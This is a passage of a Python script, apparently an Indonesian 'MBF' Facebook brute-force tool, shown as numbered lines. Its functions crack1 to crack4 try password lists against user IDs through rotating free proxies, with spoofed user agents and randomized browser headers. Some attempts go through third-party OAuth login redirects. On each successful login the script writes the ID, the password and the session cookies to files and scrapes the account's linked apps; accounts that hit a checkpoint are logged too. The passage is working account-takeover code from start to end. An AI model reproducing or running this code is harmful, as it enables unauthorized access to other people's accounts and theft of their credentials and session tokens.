  559.             device = rc(["X676B","X687","X609","X697","X680D","X507","X605","X668","X6815B","X624", "X655F","X689C","X608","X698","X682B","X682C","X688C", "X688B","X658E","X659B","X689B","X689","X689D","X662","X662B","X675", "X6812B", "X6812", "X6817B", "X6817", "X6816C","X6816","X6816D","X668C","X665B","X665E", "X510","X559C","X559F","X559","X606","X606C","X606D"])
  560.             A = f"Mozilla/5.0 (Linux; Android {str(rr(1,9))}.{str(rr(1,9))}; {device}) Build/0{str(rr(1,12))}0{str(rr(5,20))})"
  561.             B = f"AppleWebKit/537.36 (KHTML, {rc(['like','seperti'])} Gecko)"
  562.             C = f"Chrome/{str(rr(72,112))}.0.{str(rr(4200,4900))}.{str(rr(42,150))} Mobile Safari/537.36"
  563.             Hoki = f'{A} {B} {C}'
  564.         return(str(Hoki))
  565.                              
  566. ###----------[ MBF-01 ]----------###                       
  567. def crack1(idf,pwx):
  568.      global loop,ok,cp
  569.      ses = requests.Session()
  570.      rr = random.randint
  571.      rc = random.choice
  572.      emot = rc(["😝","😜","πŸ€ͺ"])
  573.      prog.update(des,description=f"\r[white] {emot} ( MBF 01 ) ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop}/{len(id)} [white]) ")
  574.      prog.advance(des)
  575.      for pw in pwx:
  576.           try:
  577.                proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  578.                open('socksku.txt','w').write(proxs)
  579.                nip = rc(proxs)
  580.                proxs = {'http': 'socks4://'+nip}
  581.                ua = Saran(glento=1)
  582.                ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  583.                link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  584.                date = {
  585.         "lsd":
  586.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  587.         "jazoest":
  588.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  589.                "uid":idf,
  590.                "next":"https://m.facebook.com/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
  591.                "flow":"login_no_pin",
  592.                "pass":pw,
  593.             }
  594.                cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])    
  595.                bahasa = rc(['en-US;q=0.8,en;q=0.7','en-GB;q=0.8,en;q=0.7','zh-CN;q=0.8,zh;q=0.7','ms_MY;q=0.8,ms;q=0.7','fr_FR;q=0.8,fr;q=0.7','id-ID;q=0.8,id;q=0.7','jv-ID;q=0.8,id;q=0.7'])
  596.                head = (
  597.             {
  598.             'Host': 'm.facebook.com',
  599.             'cache-control': 'max-age=0',
  600.             'dpr': f'{str(rr(1,5))}',
  601.             'viewport-width': f'{str(rr(400,999))}',
  602.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  603.             'sec-ch-ua-mobile': '?1',
  604.             'sec-ch-ua-platform': '"Android"',
  605.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  606.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  607.             'sec-ch-prefers-color-scheme': 'light',
  608.             'upgrade-insecure-requests': '1',
  609.             'origin': 'https://m.facebook.com',
  610.             'content-type': 'application/x-www-form-urlencoded',
  611.             'user-agent': ua,
  612.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  613.             'x-requested-with': 'com.facebook.katana',
  614.             'sec-fetch-site': 'none',
  615.             'sec-fetch-mode': 'navigate',
  616.             'sec-fetch-user': '?1',
  617.             'sec-fetch-dest': 'document',
  618.             'referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  619.             'accept-encoding': 'gzip, deflate, br',
  620.             'accept-language': bahasa,
  621.             }
  622.         )
  623.                po = ses.post("https://m.facebook.com/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  624.                if 'c_user' in ses.cookies.get_dict().keys():
  625.                     ses = requests.Session()
  626.                     headapp = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  627.                     if 'ya' in taplikasi:
  628.                          ok+=1
  629.                          coki=po.cookies.get_dict()
  630.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'\n')
  631.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  632.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  633.                          aktif = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",headers=headapp,cookies=coki).text
  634.                          soup = par(aktif, "html.parser")
  635.                          ayu = tree.add(Panel.fit(f"[green] Aplikasi Aktive ",style=f"white"))
  636.                          for ah in soup.find_all("h3"):
  637.                               if "Ditambahkan" in ah.text:
  638.                                    ayu.add(f"{puti}{str(ah.text).replace(f'Ditambahkan',f' {hijo}Ditambahkan')}{puti}")
  639.                          oke = tree.add(Panel.fit(f"[green]{coki}",style=f"white"))
  640.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  641.                          inactiv = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",headers=headapp,cookies=coki).text
  642.                          siu = par(inactiv, "html.parser")
  643.                          he = tree.add(Panel.fit(f"[yellow] Aplikasi Expired ",style=f"white"))
  644.                          for ina in siu.find_all("h3"):
  645.                               if "Kedaluwarsa" in ina.text:
  646.                                    he.add(f"{puti}{str(ina.text).replace('Kedaluwarsa',f' {kun}Kedaluwarsa')}{puti}")
  647.                          link1 = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed",headers=headapp,cookies=coki).text
  648.                          html = par(link1, "html.parser")
  649.                          he = tree.add(Panel.fit(f"[red] Aplikasi Deleted ",style=f"white"))
  650.                          for i in html.find_all("h3"):
  651.                               if "Dihapus" in i.text:
  652.                                    he.add(f"{puti}{str(i.text).replace('Dihapus',f' {mer}Dihapus')}{puti}")
  653.                          prints(tree)
  654.                          break
  655.                          
  656.                     elif 'no' in taplikasi:
  657.                          ok+=1
  658.                          coki = ses.cookies.get_dict()
  659.                          kuki = "datr=" + coki["datr"] + ";" + ("sb=" + coki["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + coki["c_user"]) + ";" + ("xs=" + coki["xs"]) + ";" + ("fr=" + coki["fr"]) + ";"
  660.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  661.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  662.                          oke = tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  663.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  664.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  665.                          prints(tree)
  666.                          break
  667.                    
  668.                elif "checkpoint" in po.cookies.get_dict().keys():
  669.                     tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  670.                     cpu = tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow]{tahun(idf)} ",style=f"white"))
  671.                     cpe = tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  672.                     prints(tree)
  673.                     open('/sdcard/MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  674.                     akune.append(idf+'|'+pw)
  675.                     ceker(idf,pw)
  676.                     cp+=1
  677.                     break
  678.                    
  679.                else:continue
  680.           except requests.exceptions.ConnectionError:
  681.                time.sleep(31)
  682.      loop+=1
  683.  
  684. ###----------[ MBF-02 ]----------###                       
  685. def crack2(idf,pwx):
  686.      global loop,ok,cp
  687.      ses = requests.Session()
  688.      rr = random.randint
  689.      rc = random.choice
  690.      emot = rc(["😝","😜","πŸ€ͺ"])
  691.      prog.update(des,description=f"\r[white] {emot} ( MBF 02 ) ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop}/{len(id)} [white]) ")
  692.      prog.advance(des)
  693.      for pw in pwx:
  694.           try:
  695.                proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  696.                open('socksku.txt','w').write(proxs)
  697.                nip = rc(proxs)
  698.                proxs = {'http': 'socks4://'+nip}
  699.                ua = Saran(glento=1)
  700.                ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  701.                link = ses.get('https://m.facebook.com/login/device-based/password/?uid={idf}&flow=login_no_pin&refsrc=deprecated&_rdr')
  702.                date = {
  703.         "lsd":
  704.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  705.         "jazoest":
  706.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  707.                "uid":idf,
  708.                "next":"https://m.facebook.com/",
  709.                "flow":"login_no_pin",
  710.                "pass":pw,
  711.             }
  712.                cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])    
  713.                bahasa = rc(['en-US;q=0.8,en;q=0.7','en-GB;q=0.8,en;q=0.7','zh-CN;q=0.8,zh;q=0.7','ms_MY;q=0.8,ms;q=0.7','fr_FR;q=0.8,fr;q=0.7','id-ID;q=0.8,id;q=0.7','jv-ID;q=0.8,id;q=0.7'])
  714.                head = (
  715.             {
  716.             'Host': 'm.facebook.com',
  717.             'cache-control': 'max-age=0',
  718.             'dpr': f'{str(rr(1,5))}',
  719.             'viewport-width': f'{str(rr(400,999))}',
  720.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  721.             'sec-ch-ua-mobile': '?1',
  722.             'sec-ch-ua-platform': '"Android"',
  723.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  724.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  725.             'sec-ch-prefers-color-scheme': 'light',
  726.             'upgrade-insecure-requests': '1',
  727.             'origin': 'https://m.facebook.com',
  728.             'content-type': 'application/x-www-form-urlencoded',
  729.             'user-agent': ua,
  730.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  731.             'x-requested-with': 'com.facebook.katana',
  732.             'sec-fetch-site': 'none',
  733.             'sec-fetch-mode': 'navigate',
  734.             'sec-fetch-user': '?1',
  735.             'sec-fetch-dest': 'document',
  736.             'referer': 'https://m.facebook.com/login/device-based/password/?uid={idf}&flow=login_no_pin&refsrc=deprecated&_rdr',
  737.             'accept-encoding': 'gzip, deflate, br',
  738.             'accept-language': bahasa,
  739.             }
  740.         )
  741.                po = ses.post("https://m.facebook.com/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  742.                if 'c_user' in ses.cookies.get_dict().keys():
  743.                     ses = requests.Session()
  744.                     headapp = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  745.                     if 'ya' in taplikasi:
  746.                          ok+=1
  747.                          coki=po.cookies.get_dict()
  748.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'\n')
  749.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  750.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  751.                          aktif = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",headers=headapp,cookies=coki).text
  752.                          soup = par(aktif, "html.parser")
  753.                          ayu = tree.add(Panel.fit(f"[green] Aplikasi Aktive ",style=f"white"))
  754.                          for ah in soup.find_all("h3"):
  755.                               if "Ditambahkan" in ah.text:
  756.                                    ayu.add(f"{puti}{str(ah.text).replace(f'Ditambahkan',f' {hijo}Ditambahkan')}{puti}")
  757.                          oke = tree.add(Panel.fit(f"[green]{coki}",style=f"white"))
  758.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  759.                          inactiv = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",headers=headapp,cookies=coki).text
  760.                          siu = par(inactiv, "html.parser")
  761.                          he = tree.add(Panel.fit(f"[yellow] Aplikasi Expired ",style=f"white"))
  762.                          for ina in siu.find_all("h3"):
  763.                               if "Kedaluwarsa" in ina.text:
  764.                                    he.add(f"{puti}{str(ina.text).replace('Kedaluwarsa',f' {kun}Kedaluwarsa')}{puti}")
  765.                          link1 = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed",headers=headapp,cookies=coki).text
  766.                          html = par(link1, "html.parser")
  767.                          he = tree.add(Panel.fit(f"[red] Aplikasi Deleted ",style=f"white"))
  768.                          for i in html.find_all("h3"):
  769.                               if "Dihapus" in i.text:
  770.                                    he.add(f"{puti}{str(i.text).replace('Dihapus',f' {mer}Dihapus')}{puti}")
  771.                          prints(tree)
  772.                          break
  773.                          
  774.                     elif 'no' in taplikasi:
  775.                          ok+=1
  776.                          coki = ses.cookies.get_dict()
  777.                          kuki = "datr=" + coki["datr"] + ";" + ("sb=" + coki["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + coki["c_user"]) + ";" + ("xs=" + coki["xs"]) + ";" + ("fr=" + coki["fr"]) + ";"
  778.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  779.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  780.                          oke = tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  781.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  782.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  783.                          prints(tree)
  784.                          break
  785.                    
  786.                elif "checkpoint" in po.cookies.get_dict().keys():
  787.                     tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  788.                     cpu = tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow]{tahun(idf)} ",style=f"white"))
  789.                     cpe = tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  790.                     prints(tree)
  791.                     open('/sdcard/MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  792.                     akune.append(idf+'|'+pw)
  793.                     ceker(idf,pw)
  794.                     cp+=1
  795.                     break
  796.                    
  797.                else:continue
  798.           except requests.exceptions.ConnectionError:
  799.                time.sleep(31)
  800.      loop+=1
  801.      
  802. ###----------[ MBF-03 ]----------###                       
  803. def crack3(idf,pwx):
  804.      global loop,ok,cp
  805.      ses = requests.Session()
  806.      rr = random.randint
  807.      rc = random.choice
  808.      emot = rc(["😝","😜","πŸ€ͺ"])
  809.      prog.update(des,description=f"\r[white] {emot} ( MBF 03 ) ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop}/{len(id)} [white]) ")
  810.      prog.advance(des)
  811.      for pw in pwx:
  812.           try:
  813.                proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  814.                open('socksku.txt','w').write(proxs)
  815.                nip = rc(proxs)
  816.                proxs = {'http': 'socks4://'+nip}
  817.                ua = Saran(glento=1)
  818.                ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  819.                link = ses.get("https://m.facebook.com/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  820.                date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  821.             'had_cp_prefilled': 'false',
  822.             'had_password_prefilled': 'false',
  823.             'is_smart_lock': 'true',
  824.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  825.             "__dyn": "",
  826.             "__csr": "",
  827.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  828.             "__a": "",
  829.             "__user": "0",
  830.             "_fb_noscript": "true"}
  831.                cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])    
  832.                bahasa = rc(['en-US;q=0.8,en;q=0.7','en-GB;q=0.8,en;q=0.7','zh-CN;q=0.8,zh;q=0.7','ms_MY;q=0.8,ms;q=0.7','fr_FR;q=0.8,fr;q=0.7','id-ID;q=0.8,id;q=0.7','jv-ID;q=0.8,id;q=0.7'])
  833.                head = {"Host": "m.facebook.com",
  834.             "content-length": f"{len(str(date))}",
  835.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  836.             "sec-ch-ua-mobile": "?1",
  837.             "user-agent": ua,
  838.             "viewport-width": f"str(rr(400,989)",
  839.             "content-type": "application/x-www-form-urlencoded",
  840.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  841.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  842.             "x-asbd-id": "129477",
  843.             "x-requested-with": "mark.via.gp",
  844.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  845.             "sec-ch-prefers-color-scheme": "light",
  846.             "sec-ch-ua-platform": '"Android"',
  847.             "accept": "*/*",
  848.             "origin": "https://m.facebook.com",
  849.             "sec-fetch-site": "none",
  850.             "sec-fetch-mode": "navigate",
  851.             "sec-fetch-dest": "document",
  852.             "referer": "https://free.facebook.com/v13.0/dialog/oauth?client_id=344190606773871&redirect_uri=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook&state=cf6e9bb52dc57f69601e1f951fbfa5fa198fd9843a5250e744c7ec218d73&scope=email&ret=login&fbapp_pres=0&logger_id=a55bca6c-4160-473d-bebc-4b9ca91b72b4&tp=unspecified",
  853.             "accept-encoding": "gzip, deflate, br",
  854.             "accept-language": bahasa,
  855.             "x-response-format": "JSONStream"} 
  856.                po = ses.post("https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  857.                if 'c_user' in ses.cookies.get_dict().keys():
  858.                     ses = requests.Session()
  859.                     headapp = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  860.                     if 'ya' in taplikasi:
  861.                          ok+=1
  862.                          coki=po.cookies.get_dict()
  863.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'\n')
  864.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  865.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  866.                          aktif = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",headers=headapp,cookies=coki).text
  867.                          soup = par(aktif, "html.parser")
  868.                          ayu = tree.add(Panel.fit(f"[green] Aplikasi Aktive ",style=f"white"))
  869.                          for ah in soup.find_all("h3"):
  870.                               if "Ditambahkan" in ah.text:
  871.                                    ayu.add(f"{puti}{str(ah.text).replace(f'Ditambahkan',f' {hijo}Ditambahkan')}{puti}")
  872.                          oke = tree.add(Panel.fit(f"[green]{coki}",style=f"white"))
  873.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  874.                          inactiv = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",headers=headapp,cookies=coki).text
  875.                          siu = par(inactiv, "html.parser")
  876.                          he = tree.add(Panel.fit(f"[yellow] Aplikasi Expired ",style=f"white"))
  877.                          for ina in siu.find_all("h3"):
  878.                               if "Kedaluwarsa" in ina.text:
  879.                                    he.add(f"{puti}{str(ina.text).replace('Kedaluwarsa',f' {kun}Kedaluwarsa')}{puti}")
  880.                          link1 = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed",headers=headapp,cookies=coki).text
  881.                          html = par(link1, "html.parser")
  882.                          he = tree.add(Panel.fit(f"[red] Aplikasi Deleted ",style=f"white"))
  883.                          for i in html.find_all("h3"):
  884.                               if "Dihapus" in i.text:
  885.                                    he.add(f"{puti}{str(i.text).replace('Dihapus',f' {mer}Dihapus')}{puti}")
  886.                          prints(tree)
  887.                          break
  888.                          
  889.                     elif 'no' in taplikasi:
  890.                          ok+=1
  891.                          coki = ses.cookies.get_dict()
  892.                          kuki = "datr=" + coki["datr"] + ";" + ("sb=" + coki["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + coki["c_user"]) + ";" + ("xs=" + coki["xs"]) + ";" + ("fr=" + coki["fr"]) + ";"
  893.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  894.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  895.                          oke = tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  896.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  897.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  898.                          prints(tree)
  899.                          break
  900.                    
  901.                elif "checkpoint" in po.cookies.get_dict().keys():
  902.                     tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  903.                     cpu = tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow]{tahun(idf)} ",style=f"white"))
  904.                     cpe = tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  905.                     prints(tree)
  906.                     open('/sdcard/MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  907.                     akune.append(idf+'|'+pw)
  908.                     ceker(idf,pw)
  909.                     cp+=1
  910.                     break
  911.                    
  912.                else:continue
  913.           except requests.exceptions.ConnectionError:
  914.                time.sleep(31)
  915.      loop+=1
  916.  
  917. ###----------[ MBF-04 ]----------###                       
  918. def crack4(idf,pwx):
  919.      global loop,ok,cp
  920.      ses = requests.Session()
  921.      rr = random.randint
  922.      rc = random.choice
  923.      emot = rc(["😝","😜","πŸ€ͺ"])
  924.      prog.update(des,description=f"\r[white] {emot} ( MBF 04 ) ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop}/{len(id)} [white]) ")
  925.      prog.advance(des)
  926.      for pw in pwx:
  927.           try:
  928.                proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  929.                open('socksku.txt','w').write(proxs)
  930.                nip = rc(proxs)
  931.                proxs = {'http': 'socks5://'+nip}
  932.                ua = Saran(glento=1)
  933.                ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
